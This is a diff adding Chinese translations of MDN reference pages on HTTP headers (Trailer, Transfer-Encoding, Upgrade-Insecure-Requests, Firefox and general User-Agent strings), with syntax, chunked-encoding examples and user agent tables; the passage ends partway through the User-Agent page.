0000000000..21ef6c48fe --- /dev/null +++ b/files/zh-cn/web/http/headers/trailer/index.html @@ -0,0 +1,101 @@ +--- +title: Trailer +slug: Web/HTTP/Headers/Trailer +translation_of: Web/HTTP/Headers/Trailer +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>Trailer</strong> 是一个响应首部,允许发送方在分块发送的消息后面添加额外的元信息,这些元信息可能是随着消息主体的发送动态生成的,比如消息的完整性校验,消息的数字签名,或者消息经过处理之后的最终状态等。</p> + +<div class="note"> +<p>请求首部 {{HTTPHeader("TE")}} 需要设置trailers来允许挂载字段。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Trailer: header-names</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>header-names</code></dt> + <dd>出现在分块信息挂载部分的消息首部。以下首部字段<strong>不允许</strong>出现: + <ul> + <li>用于信息分帧的首部 (例如{{HTTPHeader("Transfer-Encoding")}} 和 {{HTTPHeader("Content-Length")}}),</li> + <li>用于路由用途的首部 (例如 {{HTTPHeader("Host")}}),</li> + <li>请求修饰首部 (例如控制类和条件类的,如{{HTTPHeader("Cache-Control")}},{{HTTPHeader("Max-Forwards")}},或者 {{HTTPHeader("TE")}}),</li> + <li>身份验证首部 (例如 {{HTTPHeader("Authorization")}} 或者 {{HTTPHeader("Set-Cookie")}}),</li> + <li>{{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}},以及 <code>Trailer</code> 自身。</li> + </ul> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="在分块传输编码中使用挂载(trailer)首部">在分块传输编码中使用挂载(trailer)首部</h3> + +<p>在这个例子中, {{HTTPHeader("Expires")}} 首部出现在分块信息的结尾,作为挂载(trailer)首部。</p> + +<pre>HTTP/1.1 200 OK +Content-Type: text/plain +Transfer-Encoding: chunked +Trailer: Expires + +7\r\n +Mozilla\r\n +9\r\n +Developer\r\n +7\r\n +Network\r\n +0\r\n +Expires: Wed, 21 Oct 2015 07:28:00 GMT\r\n +\r\n +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Trailer", "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + <tr> + <td>{{RFC("7230", "Chunked trailer part", "4.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Trailer")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> + <li>{{HTTPHeader("TE")}}</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/transfer-encoding/index.html b/files/zh-cn/web/http/headers/transfer-encoding/index.html new file mode 100644 index 0000000000..b00b809cf2 --- /dev/null +++ b/files/zh-cn/web/http/headers/transfer-encoding/index.html @@ -0,0 +1,106 @@ +--- +title: Transfer-Encoding +slug: Web/HTTP/Headers/Transfer-Encoding +tags: + - 首部 +translation_of: Web/HTTP/Headers/Transfer-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Transfer-Encoding</code></strong> 消息首部指明了将 {{Glossary("Entity header","entity")}} 安全传递给用户所采用的编码形式。</p> + +<p><code>Transfer-Encoding</code> 是一个<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">逐跳传输消息首部</a>,即仅应用于两个节点之间的消息传递,而不是所请求的资源本身。一个多节点连接中的每一段都可以应用不同的<code>Transfer-Encoding</code> 值。如果你想要将压缩后的数据应用于整个连接,那么请使用端到端传输消息首部 {{HTTPHeader("Content-Encoding")}} 。</p> + +<p>当这个消息首部出现在 {{HTTPMethod("HEAD")}} 请求的响应中,而这样的响应没有消息体,那么它其实指的是应用在相应的 {{HTTPMethod("GET")}} 请求的应答的值。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Transfer-Encoding: chunked +Transfer-Encoding: compress +Transfer-Encoding: deflate +Transfer-Encoding: gzip +Transfer-Encoding: identity + +<em>// Several values can be listed, separated by a comma</em> +Transfer-Encoding: gzip, chunked</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>chunked</code></dt> + <dd>数据以一系列分块的形式进行发送。 {{HTTPHeader("Content-Length")}} 首部在这种情况下不被发送。。在每一个分块的开头需要添加当前分块的长度,以十六进制的形式表示,后面紧跟着 '<code>\r\n</code>' ,之后是分块本身,后面也是'<code>\r\n</code>' 。终止块是一个常规的分块,不同之处在于其长度为0。终止块后面是一个挂载(trailer),由一系列(或者为空)的实体消息首部构成。</dd> + <dt><code>compress</code></dt> + <dd>采用 <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 压缩算法。这个名称来自UNIX系统的 <em>compress</em> 程序,该程序实现了前述算法。<br> + 与其同名程序已经在大部分UNIX发行版中消失一样,这种内容编码方式已经被大部分浏览器弃用,部分因为专利问题(这项专利在2003年到期)。</dd> + <dt><code>deflate</code></dt> + <dd>采用 <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 结构 (在 <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a> 中规定),和 <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> 压缩算法(在 <a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a> 中规定)。</dd> + <dt><code>gzip</code></dt> + <dd>表示采用 <a href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77) 压缩算法,以及32位CRC校验的编码方式。这个编码方式最初由 UNIX 平台上的 <em>gzip</em> 程序采用。处于兼容性的考虑, HTTP/1.1 标准提议支持这种编码方式的服务器应该识别作为别名的 <code>x-gzip </code>指令。</dd> + <dt><code>identity</code></dt> + <dd>用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="分块编码">分块编码</h3> + +<p>分块编码主要应用于如下场景,即要传输大量的数据,但是在请求在没有被处理完之前响应的长度是无法获得的。例如,当需要用从数据库中查询获得的数据生成一个大的HTML表格的时候,或者需要传输大量的图片的时候。一个分块响应形式如下:</p> + +<pre>HTTP/1.1 200 OK +Content-Type: text/plain +Transfer-Encoding: chunked + +7\r\n +Mozilla\r\n +9\r\n +Developer\r\n +7\r\n +Network\r\n +0\r\n +\r\n</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Transfer-Encoding")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.html b/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.html new file mode 100644 index 0000000000..4f85634b31 --- /dev/null +++ b/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.html @@ -0,0 +1,72 @@ +--- +title: Upgrade-Insecure-Requests +slug: Web/HTTP/Headers/Upgrade-Insecure-Requests +tags: + - 升级机制 + - 安全性 + - 首部 +translation_of: Web/HTTP/Headers/Upgrade-Insecure-Requests +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Upgrade-Insecure-Requests</code></strong> 是一个请求首部,用来向服务器端发送信号,表示客户端优先选择加密及带有身份验证的响应,并且它可以成功处理 {{CSP("upgrade-insecure-requests")}} <a href="/en-US/docs/Web/Security/CSP">CSP</a> 指令。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Upgrade-Insecure-Requests: 1</pre> + +<h2 id="示例">示例</h2> + +<p>客户端向服务器端发送信号表示它支持 {{CSP("upgrade-insecure-requests")}} 的升级机制:</p> + +<pre>GET / HTTP/1.1 +Host: example.com +Upgrade-Insecure-Requests: 1</pre> + +<p>服务器现在可以重定向到这个站点的安全版本。在响应中可以添加一个 {{HTTPHeader("Vary")}} 首部,这样的话,响应就不会被缓存服务器提供给不支持升级机制的客户端了。</p> + +<pre>Location: https://example.com/ +Vary: Upgrade-Insecure-Requests</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests", "#preference", "upgrade-insecure-requests")}}</td> + <td>{{Spec2('Upgrade Insecure Requests')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Upgrade-Insecure-Requests")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>CSP {{CSP("upgrade-insecure-requests")}} directive</li> +</ul> diff --git a/files/zh-cn/web/http/headers/user-agent/firefox/index.html b/files/zh-cn/web/http/headers/user-agent/firefox/index.html new file mode 100644 index 0000000000..f2360b3973 --- /dev/null +++ b/files/zh-cn/web/http/headers/user-agent/firefox/index.html @@ -0,0 +1,357 @@ +--- +title: Firefox用户代理字符串(user agent string)参考 +slug: Web/HTTP/Headers/User-Agent/Firefox +translation_of: Web/HTTP/Headers/User-Agent/Firefox +--- +<div>{{HTTPSidebar}}</div> + +<p>此文档描述了 Firefox 4 及之后版本的 Firefox 浏览器,以及基于 <a href="/zh-CN/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a> 2.0 及以后版本的应用所使用的User Agent(user agent)。对于 Gecko 2.0 之后产生的变化,可参考 <a href="https://hacks.mozilla.org/2010/09/final-user-agent-string-for-firefox-4/">Firefox 4 中最终的 User Agent 值</a>(博客文章)。也可以参考 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">检测 User Agent</a>,以及这篇 Mozilla Hacks 博文:<a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">User Agent 检测的历史与操作清单</a>。</p> + +<h2 id="总体形式">总体形式</h2> + +<p>Firefox的User Agent(用户代理)值可被拆分为以下四个部分:</p> + +<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em> Firefox/<em>firefoxversion</em></strong></p> + +<ul> + <li><em><strong>Mozilla/5.0</strong></em> 表明该浏览器与 Mozilla 相兼容的通用字符串。此字段几乎存在于现今所有浏览器的用户代理之中。</li> + <li><strong><em>platform</em></strong> 描述了浏览器所运行的本地操作系统平台(例如:Windows,Mac,Linux 或 Android),以及其是否为移动设备。Firefox OS 设备只会简单地表示为"Mobile";因为它实际上基于 Web。请注意,<strong><em>platform</em></strong> 的值可包含多个被 ";" 分隔的字段。更多细节与例子可以参考下面内容。</li> + <li><strong>rv:<em>geckoversion</em></strong> 显示了 Gecko 的版本号,(如<em>"17.0"</em>)。在最近几个版本的浏览器中,<strong><em>geckoversion</em></strong> 与 <strong><em>firefoxversion</em></strong> 一致。</li> + <li><strong><em>Gecko/geckotrail</em></strong> 标明浏览器基于 Gecko。</li> + <li>在桌面端,<em><strong>geckotrail</strong></em> 的值恒为"20100101"。</li> + <li><em><strong>Firefox/firefoxversion</strong></em> 标明浏览器是 Firefox,并提供了版本号(如"<em>17.0"</em>)。</li> + <li>{{ gecko_minversion_inline("10.0") }} 自从移动版Firefox 10开始,<em><strong>geckotrail</strong></em>与<strong><em>firefoxversion</em></strong>保持一致。</li> +</ul> + +<div class="note">(如果你必须检测浏览器引擎,而不是去做特征检测的话)推荐使用"<em>Gecko</em>"与"<em>rv:</em>"字符串来检测基于 Gecko 的浏览器。因为一些浏览器的 UA 中也包含有"<em>like Gecko</em>"字段。</div> + +<p>对于其他基于 Gecko 的产品,UA 字符串会符合以下两个规则中的一个,除了下面的描述外,其它字段与上面描述的意义相同。</p> + +<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail </em></strong><strong><em>appname</em>/<em>appversion</em></strong><br> + <strong>M</strong><strong>ozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em></strong><strong> Firefox/<em>firefoxversion</em></strong><strong> <em>appname</em>/<em>appversion</em></strong></p> + +<ul> + <li><strong><em>appname/appversion</em></strong> 标明了应用名与版本,举个例子,这个字段可以是"<em>Camino/2.1.1</em>"或"<em>SeaMonkey/2.7.1</em>"。</li> + <li> + <p><em><strong>Firefox/firefoxversion</strong></em> 是一个可选的兼容字段,一些基于Gecko的浏览器选择加入,以使那些支持Firefox的网页进行最大的兼容。<em><strong>firefoxversion</strong></em> 应与其提供的 Gecko 版本对应的 Firefox 版本相同。一些基于 Gecko 的浏览器可能未加入此此段,因此,在检测的时候,应当使用"Gecko"而非"Firefox"。是否展示这个字段由 about:config 中<em>"general.useragent.compatMode.firefox"</em>项设定的布尔值控制。</p> + </li> +</ul> + +<p>{{ h2_gecko_minversion("移动设备与平板设备的标注", "11.0") }}</p> + +<p>User Agent(UA String)的<strong><em>platform</em></strong>部分,标明了 Firefox 是否运行在手机或平板尺寸的设备上。当Firefox运行在移动设备上时,UA 中的这个字段将包含<strong>Mobile;</strong>。当Firefox运行于平板设备时,UA 中的这个字段将包含<strong>Tablet;</strong>。例如:</p> + +<pre>Mozilla/5.0 (Android 4.4; <strong>Mobile</strong>; rv:41.0) Gecko/41.0 Firefox/41.0 +Mozilla/5.0 (Android 4.4; <strong>Tablet</strong>; rv:41.0) Gecko/41.0 Firefox/41.0</pre> + +<div class="note">上述版本号并不对应当前版本,请避免基于此例子中的版本号。</div> + +<p>推荐的判断设备尺寸的方法是使用 CSS 媒体查询(CSS Media Query)。但是,当你需要使用UA判断用户是否使用移动尺寸的设备,请查找"<strong>Mobi</strong>"(以兼容使用"Mobi"的 Opera 移动浏览器)。<strong>不要</strong> 假定"Android"字符串与设备尺寸存在关联。这样的话,在“Firefox在其它操作系统的移动尺寸设备上运行”或“使用Android的笔记本电脑”的情形下,你的代码才能正确运行。此外,请使用触摸检测以分辨设备是否支持触摸,不要使用"Mobi"或"Tablet",因为也有很多触摸设备并非移动设备或平板。</p> + +<div class="note">Firefox OS 设备的UA中不会有标明操作系统的字段,比如"Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0"。因为其平台实为 Web。</div> + +<h2 id="Windows">Windows</h2> + +<p>除却安腾平台与 16 位平台,Windows 中的 User Agent 值有如下几类,其中 <em>x.y</em> 代表 Windows NT 版本,(例如:Windows NT 6.1)。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Windows 版本</th> + <th scope="col">Gecko User Agent</th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows NT on x86</td> + <td>Mozilla/5.0 (Windows NT <em>x</em>.<em>y</em>; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + <tr> + <td>Windows NT, Win64 on x64</td> + <td>Mozilla/5.0 (Windows NT <em>x</em>.<em>y</em>; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + <tr> + <td>Windows NT, WOW64</td> + <td>Mozilla/5.0 (Windows NT <em>x</em>.<em>y</em>; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + </tbody> +</table> + +<h2 id="Macintosh">Macintosh</h2> + +<p>下表中 <em>x.y</em> 为 Mac OS X 的版本(例如:Mac OS X 10.6)。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Mac OS X 版本</th> + <th scope="col">Gecko User Agent</th> + </tr> + </thead> + <tbody> + <tr> + <td>Mac OS X on Intel x86 or x86_64</td> + <td>Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + <tr> + <td>Mac OS X on PowerPC</td> + <td>Mozilla/5.0 (Macintosh; PPC Mac OS X <em>x.y</em>; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + </tbody> +</table> + +<h2 id="Linux">Linux</h2> + +<p>Linux 是一个高度分化的平台,下面给出了几个常见的例子。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Linux 版本</th> + <th scope="col">Gecko User Agent 值</th> + </tr> + </thead> + <tbody> + <tr> + <td>Linux desktop, i686</td> + <td>Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + <tr> + <td>Linux desktop, x86_64</td> + <td>Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + <tr> + <td>Linux desktop, i686 running on x86_64</td> + <td>Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0) Gecko/20100101 Firefox/10.0</td> + </tr> + <tr> + <td>Nokia N900 Linux mobile, on the Fennec browser</td> + <td>Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0) Gecko/20100101 Firefox/10.0 Fennec/10.0</td> + </tr> + </tbody> +</table> + +<h2 id="Android_(40版本及以下)">Android (40版本及以下)</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">设备类型</th> + <th scope="col">Gecko User Agent 值</th> + </tr> + </thead> + <tbody> + <tr> + <td>Phone</td> + <td>Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0</td> + </tr> + <tr> + <td>Tablet</td> + <td>Mozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0</td> + </tr> + <tr> + </tr> + </tbody> +</table> + +<h2 id="Android_(41版本及以上)">Android (41版本及以上)</h2> + +<p>从41版本开始,Firefox Android 会在 <em>platform</em> 字段中包含 Android 版本号。为增加兼容性,如果浏览器在 Android 4 及以下版本的 Android 设备上运行,此字段会使用 4.4,Android 4.4 及以上版本的则会使用当前版本号。请注意,目前发布至不同版本的 Android 设备的 Gecko,是拥有相同兼容性的同一个 Gecko 的不同架构(ARMv7、x86、x86_64)编译版。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">设备类型</th> + <th scope="col">Gecko User Agent 值</th> + </tr> + </thead> + <tbody> + <tr> + <td>Phone</td> + <td>Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0</td> + </tr> + <tr> + <td>Tablet</td> + <td>Mozilla/5.0 (Android 4.4; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0</td> + </tr> + </tbody> +</table> + +<h2 id="Firefox_OS">Firefox OS</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">设备类型</th> + <th scope="col">Gecko User Agent 值</th> + </tr> + <tr> + <td>Phone</td> + <td>Mozilla/5.0 (Mobile; rv:26.0) Gecko/26.0 Firefox/26.0</td> + </tr> + <tr> + <td>Tablet</td> + <td>Mozilla/5.0 (Tablet; rv:26.0) Gecko/26.0 Firefox/26.0</td> + </tr> + <tr> + <td>TV</td> + <td>Mozilla/5.0 (TV; rv:44.0) Gecko/44.0 Firefox/44.0</td> + </tr> + <tr> + <td>Device-specific</td> + <td>Mozilla/5.0 (Mobile; <em><strong>nnnn;</strong></em> rv:26.0) Gecko/26.0 Firefox/26.0</td> + </tr> + </tbody> +</table> + +<h3 id="具有设备特征的_User_Agent_值">具有设备特征的 User Agent 值</h3> + +<p>尽管 Mozilla <strong>强烈反对</strong>,然而一些手机制造商仍然会在其设备的 User Agent 值中包含标明设备 ID 的字段。在这种情况下,Firefox OS的 User Agent 会与上表中所示的具有设备特征(Device-specific)的字符串保持一致,其中<strong><em>nnnn;</em></strong>代表设备制造商的设备代码(参见<a href="https://wiki.mozilla.org/B2G/User_Agent/Device_Model_Inclusion_Requirements">引导</a>)。其中一些是以下几个形式: "<strong>NexusOne;</strong>","<strong>ZTEOpen;</strong>","<strong>Open C;</strong>"(另请注意,同样不鼓励在其中加入空格)。我们提供这些信息以辅助您设定 User Agent 判断逻辑,但 Mozilla 不鼓励从User Agent 值中检测设备ID。</p> + +<p>这里有一个可以检测所有移动设备的JavaScript正则表达式,包含那些UA字符串中包含设备id的设备:</p> + +<pre>/mobi/i</pre> + +<p>其中 <code>i</code> 为大小写敏感的标记,而 <code>mobi</code> 则将匹配所有的移动设备。</p> + +<h3 id="Firefox_OS_版本号">Firefox OS 版本号</h3> + +<p>由于 Firefox OS 的版本号未被包含于User Agent 值中,我们可以通过User Agent 中的 Gecko 版本号来推断其版本信息。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Firefox OS 版本号</th> + <th scope="col">Gecko 版本号</th> + </tr> + </thead> + <tbody> + <tr> + <td>1.0.1</td> + <td>18.0</td> + </tr> + <tr> + <td>1.1</td> + <td>18.1</td> + </tr> + <tr> + <td>1.2</td> + <td>26.0</td> + </tr> + <tr> + <td>1.3</td> + <td>28.0</td> + </tr> + <tr> + <td>1.4</td> + <td>30.0</td> + </tr> + <tr> + <td>2.0</td> + <td>32.0</td> + </tr> + <tr> + <td>2.1</td> + <td>34.0</td> + </tr> + <tr> + <td>2.2</td> + <td>37</td> + </tr> + <tr> + <td>2.5</td> + <td>44</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p>通过查看 <a href="https://hg.mozilla.org/releases">Mercurial 版本库名称</a>,可以较容易地找出对应关系。其中以 <code>mozilla-b2g</code> 开头的发布便属于 Firefox OS,在其名字中包含了 Firefox OS 与 Gecko 的版本号。</p> +</div> + +<p>Firefox OS 的版本号由4位数字组成:<samp>X.X.X.Y</samp>。前两位数字由 Mozilla 产品团度决定,表明是包含新特性的版本(如:v1.1, 1.2等)。第三位数字随安全更新而自增(约6周左右),第四位数字由 OEM 维护。</p> + +<h2 id="iOS_上的_Firefox">iOS 上的 Firefox</h2> + +<p>Firefox iOS 版使用 Safari 移动版的默认 User Agent 再加上 <strong>FxiOS/<version> </strong>字段,与 <a href="https://developer.chrome.com/multidevice/user-agent#chrome_for_ios_user_agent">iOS 上的 Chrome 标记自己的方式</a> 一致。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">设备型号</th> + <th scope="col">Firefox iOS User Agent 值</th> + </tr> + </thead> + <tbody> + <tr> + <td>iPod</td> + <td>Mozilla/5.0 (iPod touch; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) <strong>FxiOS/1.0</strong> Mobile/12F69 Safari/600.1.4</td> + </tr> + <tr> + <td>iPhone</td> + <td>Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) <strong>FxiOS/1.0</strong> Mobile/12F69 Safari/600.1.4</td> + </tr> + <tr> + <td>iPad</td> + <td>Mozilla/5.0 (iPad; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) <strong>FxiOS/1.0</strong> Mobile/12F69 Safari/600.1.4</td> + </tr> + </tbody> +</table> + +<h2 id="Firefox_Web_运行库(Web_Runtime)">Firefox Web 运行库(Web Runtime)</h2> + +<p>在 Firefox Web 运行库(Web Runtime)中,使用与桌面版 Firefox 一致的User Agent 值。</p> + +<h2 id="其他基于_Gecko_的浏览器">其他基于 Gecko 的浏览器</h2> + +<p>以下是不同平台下,一些基于 Gecko 的浏览器的User Agent 值样例。请注意,其中很多并未基于Gecko 2.0 发布。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">浏览器</th> + <th scope="col">Gecko User Agent 值</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox for Maemo (Nokia N900)</td> + <td>Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1</td> + </tr> + <tr> + <td>Camino on Mac</td> + <td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1</td> + </tr> + <tr> + <td>SeaMonkey on Windows</td> + <td>Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1</td> + </tr> + <tr> + <td>SeaMonkey on Mac</td> + <td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1</td> + </tr> + <tr> + <td>SeaMonkey on Linux</td> + <td>Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1</td> + </tr> + </tbody> +</table> + +<h2 id="对于应用、供应商、扩展程序的注意事项">对于应用、供应商、扩展程序的注意事项</h2> + +<p>在 Firefox 4 和 Gecko 2.0 之前,扩展程序可以通过 <code>general.useragent.extra.<em>identifier</em></code> 附加 User Agent 值,(参考 <a href="https://developer.mozilla.org/En/User_Agent_Strings_Reference"> 废弃的 User Agent 值参考 </a>)。不过 {{ Bug(581008) }} 出现后,这种操作已被禁止。</p> + +<p>在过去,特定的插件、扩展程序会在 User Agent 中添加字段,以表明他们被安装的来源网站。如果非要如此(请注意,这会减慢每个请求的发送速度),推荐的做法是 <a href="https://developer.mozilla.org/en/Setting_HTTP_request_headers">设定自定义 HTTP 请求头</a>。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="http://lawrencemandel.com/2012/07/27/decision-made-firefox-os-user-agent-string/">Firefox OS User Agent</a> (参考博客文章以及 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=777710" title="https://bugzilla.mozilla.org/show_bug.cgi?id=777710">bug 777710</a>)</li> + <li><a class="external" href="https://hacks.mozilla.org/2010/09/final-user-agent-string-for-firefox-4/" title="Final User Agent string for Firefox 4">Firefox 4 的最终 User Agent</a>(博客文章)</li> + <li><a href="/en/Browser_Detection_and_Cross_Browser_Support" title="en/Browser_Detection_and_Cross_Browser_Support">检测UA字符串以获得跨浏览器支持</a></li> + <li><a href="../../../../en/DOM/window.navigator.userAgent" rel="internal">window.navigator.userAgent</a></li> + <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=">为Fennec UA字符串添加Android版本 (bug 1169772)</a></li> +</ul> + +<hr> +<p>Comments to <a class="link-news" href="news://news.mozilla.org/netscape.public.mozilla.netlib">mozilla.dev.platform</a></p> diff --git a/files/zh-cn/web/http/headers/user-agent/index.html b/files/zh-cn/web/http/headers/user-agent/index.html new file mode 100644 index 0000000000..69041e1eed --- /dev/null +++ b/files/zh-cn/web/http/headers/user-agent/index.html @@ -0,0 +1,155 @@ +--- +title: User-Agent +slug: Web/HTTP/Headers/User-Agent +tags: + - 参考 + - 头标签 + - 浏览器 + - 用户代理 + - 首部 +translation_of: Web/HTTP/Headers/User-Agent +--- +<div>{{HTTPSidebar}}</div> + +<div></div> + +<p><strong>User-Agent</strong> 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。</p> + +<div class="note"> +<p>请阅读<a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">使用用户代理字段进行浏览器检测</a>来了解为什么为不同的浏览器提供不同的页面或者服务通常不是一个好主意。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">User-Agent: <product> / <product-version> <comment></pre> + +<p class="syntaxbox"></p> + +<p class="syntaxbox">浏览器通常使用的格式为:</p> + +<pre class="syntaxbox">User-Agent: Mozilla/<version> 